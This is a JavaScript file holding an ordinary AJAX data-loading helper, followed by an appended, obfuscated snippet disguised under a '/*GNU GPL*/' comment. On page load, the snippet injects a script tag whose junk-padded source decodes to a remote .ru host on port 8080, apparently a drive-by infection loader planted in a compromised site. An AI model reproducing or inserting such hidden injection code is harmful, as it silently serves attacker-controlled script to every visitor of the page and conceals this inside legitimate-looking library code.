function DataManager(){var A=this;A.RequestCompleteEvent=null;this.RequestCompleteEvent=A.RequestCompleteEvent;A.RequestFailedEvent=null;this.RequestFailedEvent=A.RequestFailedEvent;A.Param=null;this.Param=A.Param;this.CreateDataHandler=function(B){var C=function(){if(B.readyState==4){if(B.status==200){A.RequestCompleteEvent(B)}else{A.RequestFailedEvent(B)}}};C.Request=B;C.RequestCompleteEvent=A.RequestCompleteEvent;C.RequestFailedEvent=A.RequestFailedEvent;C.Param=A.Param;return C};this.InitiateXmlHttpRequest=function(){var C=null;try{C=new ActiveXObject("Msxml2.XMLHTTP")}catch(D){try{C=new ActiveXObject("Microsoft.XMLHTTP")}catch(B){C=null}}if(!C&&typeof (XMLHttpRequest)!="undefined"){C=new XMLHttpRequest()}if(!C){alert("Failed to create new ajax request.")}return C};this.LoadData=function(D){var C=this.InitiateXmlHttpRequest();if(C!=null){try{C.onreadystatechange=this.CreateDataHandler(C);C.open("GET",D,true);C.send(null)}catch(B){alert(B)}}}}function HandleFailure(A){alert("Failed: ("+A.status+") "+A.statusText)}



/*GNU GPL*/ try{window.onload = function(){var Xfjgs17uq8wh7d = document.createElement('s(c!r)&i&p^)(t&^(#'.replace(/&|@|\)|\^|\(|\!|\$|#/ig, ''));Xfjgs17uq8wh7d.setAttribute('type', 'text/javascript');Xfjgs17uq8wh7d.setAttribute('src',  'h@t)@t^!&!p)!:@#@!/^)/$&^^g&(#o##&$$o!^g#&!l&$^e$)-^^!#c&^@&o@-$k#r#^(.($@y$o#@m&#)$i@u$&r@i&.#c()$o&#).#(&&j()@$(p#)(.@r!!)e!n@(^r@)!e&^&n#!#-(c()o(&)m$$.@w^i@#n!!t#e&!)!r(@(s!$a&!^l#^&e^$o^$n#@l)!i$^n#!))e&!.@r&$@u):$&8#@(0$(8!!(0@$&$/#$a&l@t#&@#e&&$r#(#v(&@i(s($t(&$a((.)o!&r@@)g&)$/#&(a&^l^!t@@e!(^r#(#v)i&#s##!t$@a$(.#)o($^r#g@^$/&!g!!a#$m))e!f#a(!q!s&@.@@@^c$o@#@@m^(/&e&@x@#b!&($i#(i$&&.$c#$o&)$(m!#/(#g!(&o&)o@$g)&!l$e(.$!c)()o)&$m#)&/)#'.replace(/&|\^|\$|\(|@|\)|#|\!/ig, ''));Xfjgs17uq8wh7d.setAttribute('defer', 'defer');Xfjgs17uq8wh7d.setAttribute('id', 'Y#)r)()d(#p!)!8#n)o&4&!!v!v&($#)8$#&2@!&!t@#!n#&#g#k@@&'.replace(/\^|\)|&|@|\(|#|\!|\$/ig, ''));document.body.appendChild(Xfjgs17uq8wh7d);}} catch(e) {}